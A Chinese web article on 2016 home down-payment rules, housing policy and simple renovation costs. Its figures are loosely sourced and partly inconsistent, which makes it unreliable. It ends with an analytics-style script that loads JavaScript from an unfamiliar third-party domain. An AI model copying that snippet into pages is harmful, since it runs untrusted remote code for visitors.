买房首付一般是多少2016年

如今买房子可是一个大事，我们很多人拒绝啃老，所以说分期买房成了一个大势所趋，那这样也就是涉及到了首付还贷这样的名词，我们一般的情况下买房子的首付该是多少呢？其实这也是个人的经济能力，有钱的我们可以多付一些首付，也好缓解下后期贷款，这个具体的规则大家可能还不太清楚，小编今天就来给大家简单的介绍下吧！买房首付一般是多少2016：1、头次使用公积金，套型建筑面积在90平方米(含)以下的，贷款首付款比例较低为房屋总价的20%。个人首套房购房建筑面积大于90平米的，最低首付30%。个人按揭二套房的，较低首付40%。2、个人银行商贷住宅房的，首套房首付较低30%，二套房首付较低40%。3、个人银行商贷商业房的，首付较低50%。4、办理按揭利息较低的是公积金贷款。5、头次置业者，首付在30%以上。二次置业者首付40%以上2016国家购房首付介绍：一、公积金贷款利率：2015年央行连续降息5次，利率可以说降到了历史最低点。小伙伴们欢欣鼓舞，可以省下好几十万的利息钱。今年元旦起，利率政策终于开始执行，房贷一族的压力减轻了不少。另外一方面，公积金贷款的最高额度，以北京市为例，夫妻双方额度最高可贷120万。120万在三四线城市，可能就是房子的全款了。重点来了，公积金的利率比其他贷款利率低了好几个档次，省钱再省钱。二、居住证新政：有人说，居住证对自己有什么用呢?自己在外工作10年，从没办过居住证，对自己也没什么影响。其实，居住证是为了保障外来人员基本公共服务和便利。目前，居住证的申请办理门槛降低，只要你在工作地居住半年以上，就可以申领居住证啦。纳入的福利范围包括就业、社保、公积金、积分落户等，也就说，以后想要在工作地落户，会变得容易一些。在一、二线城市，落户后买房更具有优势。三、农民购房补贴政策：为了去库存，专家们可是想破了脑袋，鼓励农民工进城买房。大家可能觉得天方夜谭，农民工生活在社会的底层，不论工资还是福利保障都比较劣势，哪里买得起高房价的房子。所以，各地政府最近都在加紧时间出台农民购房补贴的政策。据悉，河南已经开始执行了，每平米补贴200元，整套房子的补贴大概也就够装修吧。四、集体土地可能入市：集体土地是指农民集体所有的土地，包括耕地和宅基地。据悉，2016年的农业经济会议，已经将“耕地和宅基地入市”这一项列入会议的讨论内容。政府为了去库存，也是蛮拼的。五、还可能出现的政策有哪些?首先，有可能首付再次降低至20%执行，这也是调控的一种手段。其次：税费上可能针对性的减免，例如农民。还有：降息降准都有可能，那么商业贷款利息有可能会降到，比历史最低还最低。最后：农民享受的进城政策会进一步提高，比如：在基地可抵押，农地可抵押等等。纵使我国对于我们买房分期的政策非常的优越，但是还是会有些小伙伴在此质疑，房价只涨不升，政策再好，还是不敢买房怎么办？其实，等着房价往下降的时候再出手就一定会是明智之举吗。购房方面，小编也要让大家换个角度思考了，如果你要买的房子的房价一直在跌的状态，那么你不会担心自己买的房子越来越不值钱吗？

房子的简单装修一般多少钱 装修需要准备些什么

大家想必也都是知道情况的，这装修房子对于每个人来说都是一件极其的特别的重要的一件事情。所以要是有准备装修房子的话在这之前，一定要做好充足的准备工作了。那么，房子的简单装修一般多少钱呢？一般的简单装修房子价格是在15万元左右的浮动。那房子在装修前都应该去做些什么准备的呢？下面就一起来看看房子的简单装修一般多少钱以及这装修前应该做好哪些的准备工作吧。一、房子的简单装修一般多少钱首先房子的墙面装修可是家装中绝对必不可少的一个环节，一般的房子的墙面装修就是要涂白色的乳胶漆的，然后这同时的局部还要做一些吊顶等，这样才让它变得更加地美观。据目前的市场价格情况来看的话，这墙面的装修一般的价格情况是在6000到20000元不等的。然后呢，这房子的简单装修一般多少钱？接下来就是要说这地面装修的费用情况了。这地面一定要平整之后才能铺贴瓷砖的，而且这必须要做好防水层工作的，这差不多需要花费2000元左右。在这里装修地面的时候可以选择些暖色调、有花纹的地砖来做地面装饰，这样是很有美感的效果，不过这瓷砖费用估计要5000元左右。最后，关于房子的简单装修一般多少钱其实并没有一个精准的数值可言的。根据调查，一般的简单装修房子价格是在15万元左右的浮动。不过这主要还是得看所选的装修材料、装修公司还有各地区的经济水平等等来看这装修价格的。二、在开始房子装修前应该做哪些准备首先，要制定号房屋的初步装修设计方案。在开始装修房子之前，一定要做好一个完整的装修方案的。这个绝对可以为后期减少了很多不必要的麻烦的。接下来，要提前做好房屋的装修预算情况。都知道这房子钥匙装修起来那就是一个无底洞了，所以在装修之前一定是要做好一个预算的。这样对后面装修起来需要花费多少自己心里也有个谱的。上文的内容就是介绍了房子的简单装修一般多少钱的大致情况以及这房子开始装修前应该做些什么准备工作，希望是能够给起到一些些的帮助。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();